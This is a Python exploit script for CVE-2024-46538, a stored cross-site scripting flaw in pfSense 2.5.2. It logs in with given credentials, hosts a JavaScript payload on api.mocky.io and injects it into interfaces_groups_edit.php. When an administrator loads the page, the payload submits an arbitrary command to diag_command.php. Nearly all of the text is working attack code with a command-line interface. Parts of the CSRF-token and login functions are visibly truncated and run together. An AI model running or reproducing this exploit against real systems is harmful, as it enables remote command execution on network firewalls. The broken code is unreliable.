import re from faker import Faker import random import string import uuid import requests import time import sys import rich_click as click # Turn off the InsecureRequestWarning requests.packages.urllib3.disable_warnings( requests.packages.urllib3.exceptions.InsecureRequestWarning ) # Banner banner = """ .+@%%%@- .:%%=::::::@. .-*@@@@%+-::=%@%+--:@. :#@*-..#%-:::::::::+@:=%@@%@@%= -@#:....:@-::::::::::::=@....=@#--@ .%#:.......:-:*%%%%%*-::::-@.......=@@. ##.....................-*%@%=.........-@: .@:.......................................#* -@..........................................+# .:-----::.. .::.. :@............................................+# *@@@@@@@@@@@@@% -%@@@@@@@@@@%- *%@@@@@@@@%#. .@:.............................................%- %@@@@@@@@@@@@@@: %@@@@@@@@@@@@@@- *@@@@@@@@@@@@@@- =#..............................................-@ %@@@@@@@@@@@@@@:-@@@@@@@@@@@@@@@-:@@@@@@@@@@@@@@@+ #=...............................................@ .-=+++++%@@@@@:+@@@@: -@@@@@--@@@@*....=@@@@@+ @:...............................................@ . .%@@@@@:+@@@@: =@@@@@-=@@@@- :@@@@@+ @:...+@%*:..................:=#@+................@ *@@@@@@@@@@@@@@ +@@@@%::::%@@@@@-=@@@@* *@@@@@+ %-...............................................@ @@@@@@@@@@@@@@= +@@@@@@@@@@@@@@@--@@@@@@@@@@@@@@@+ =#....+%@%+.................=#%%*-..............-@ .@@@@@@@@@@@@%: %@@@@@@@@@@@@@@:.%@@@@@@@@@@@@@@= .@...% .@@:.............+% %@@:............#= .@@@@@. -*%%@@@@@@@@@: =%@@@@@@@@@@@@- :@.-= -+@+............:@. *%@%...........=# .@@@@@@@@@@@@@@* %@@@@@. .@@@@@@: -@.=@@@%+#...=@%@@-.....:@@@@@ @:..........+% @@@@@@@@@@@@@@@ @@@@@@ .@@@@@@. :@-:::::....-++=+:#:.....:=++=:...........** #@@@@@@@@@@@@@% %@@@@# .@@@@@# %#::::.................:::::::........:@: =%@@@@@@@@@% #@@@@: #@@@@+ .%#-::................:::::::......=@= -@%:...........::..::::::::..=@# @+@@%++*@#@+-:-+@*--=#%@*=** %-:#.....%=........@=......:@ *+.......%-.............+#..@ @=......-@:......:%@%*#@@:.@# -@%**#@+:%@*+@#+%...::..@.@-*% :@.......%=.....@-..:@::%+.:::-@ %-......=#......%-..::--:...:::@. #+......:@......:@-::::::....:+% -=+@=......+#.......%%-::::...-@*. -+-::::+@@@@@@@=%@@@@@@@@@@@@@@@#-::-+: Author: EQST(Experts, Qualified Security Team) .=++=-:::::::::::::--===+++++++++++++- Github: https://github.com/EQSTLab/CVE-2024-46538 .:--====--:. Analysis base : https://github.com/physicszq/web_issue/blob/main/pfsense/interfaces_groups_edit_file.md_xss.md ============================================================================================================= CVE-2024-46538 : PfSense XSS Vulnerability description: A cross-site scripting (XSS) vulnerability in pfsense v2.5.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the $pconfig variable at interfaces_groups_edit.php. ============================================================================================================= """ class PfExploit: def __init__(self, id: str, pw: str, js: str, url: str, cmd: str): self.loginId = id self.loginPw = pw self.url = url self.cmd = cmd self.jsId = None self.jsUrl = js self.jsSecret = None self.fake = Faker() def greeting() -> None: print(banner) def spinner(duration=10, interval=0.1): spinner_chars = ['|', '/', '-', '\\'] end_time = time.time() + duration while time.time() < end_time: for char in spinner_chars: sys.stdout.write(f'\r[{char}] Loading, please wait...') sys.stdout.flush() time.sleep(interval) print("") def add_protocol(self, url: str) -> str: if not url.startswith(('http://', 'https://')): return 'https://' + url return url def getJS(self) -> None: # Used api mocky to make callback url = "https://api.mocky.io/api/mock" cmd = self.cmd characters = string.ascii_letters # ascii letters to make random (Case sensitive) secretRandom = ''.join(random.choice(characters) for _ in range(36)) body = { "status":200, "content":'var formData = new FormData();formData.append("__csrf_magic", csrfMagicToken);formData.append("txtCommand", "' + cmd + '");formData.append("txtRecallBuffer", "id");formData.append("submit", "EXEC");formData.append("dlPath", "");formData.append("ulfile", new Blob(), "");formData.append("txtPHPCommand", "");fetch("/diag_command.php", {method: "POST",body: formData}).then(response => response.text()).then(data => {const parser = new DOMParser();const doc = parser.parseFromString(data, "text/html");const contentDiv = doc.querySelector("div.content");if (contentDiv) {alert(contentDiv.textContent);} else {alert("No content found");}})', "content_type":"application/javascript", "charset":"UTF-8", "secret":f"{secretRandom}", "expiration":"never" } response = requests.post(url, json=body, verify=False) data = response.json() self.jsId = data.get('id') self.jsSecret = data.get('secret') self.jsUrl = f"{data.get('link')}/{str(uuid.uuid4())}.js" def deleteJS(self) -> None: url = f"https://api.mocky.io/api/mock/{self.jsId}" body = {"id":f"{self.jsId}","secret":f"{self.jsSecret}"} requests.delete(url, json=body, verify=False) def getCSRFToken(self, url, cookies="") -> str: url = f"{url}" response = requests.get(url, verify=False, cookies=cookies) match = re.search(r" str: # Get login csrf token url = f"{self.add_protocol(self.url)}/index.php" token = self.getCSRFToken(url) response = requests.get(url, verify=False) match = re.search(r" None: # Get csrf token url = f"{self.add_protocol(self.url)}/interfaces_groups_edit.php" sessid = self.getSession() cookies = { 'PHPSESSID': sessid } token = self.getCSRFToken(url, cookies=cookies) # Stored XSS Attack url = f"{self.add_protocol(self.url)}/interfaces_groups_edit.php" datas = { '__csrf_magic':token, 'ifname': self.fake.last_name(), 'descr':'EQST_Lab_Pfsense_test', 'members[]': f'wan', 'save':'%E4%BF%9D%E5%AD%98' } response = requests.post(url, data=datas, cookies=cookies, verify=False, allow_redirects=False) if response.status_code == 302: print(f"[+] Done! Login Admin and check: \n{self.add_protocol(self.url)}/interfaces_groups.php") return sessid else: print(f"[-] Attack Failed...") exit(1) # argument parsing with rich_click @click.command() @click.option( "-i", "--id", required=True, help="Specify a id to login", ) @click.option( "-p", "--pw", required=True, help="Specify a password to login", ) @click.option( "-u", "--url", required=True, help="Specify a URL or domain for vulnerability detection", ) @click.option( "-c", "--cmd", default="id", help="Specify the command to execute", ) @click.option( "-j", "--js", default="", help="[Optional] Specify a Callback javascript URL" ) def main(id: str, pw: str, js: str, url: str, cmd: str) -> None: cve_exploit = PfExploit(id, pw, js, url, cmd) PfExploit.greeting() PfExploit.spinner(duration=1) # If js Url not exists if cve_exploit.jsUrl == "": cve_exploit.getJS() cve_exploit.storeScript() if __name__ == "__main__": main()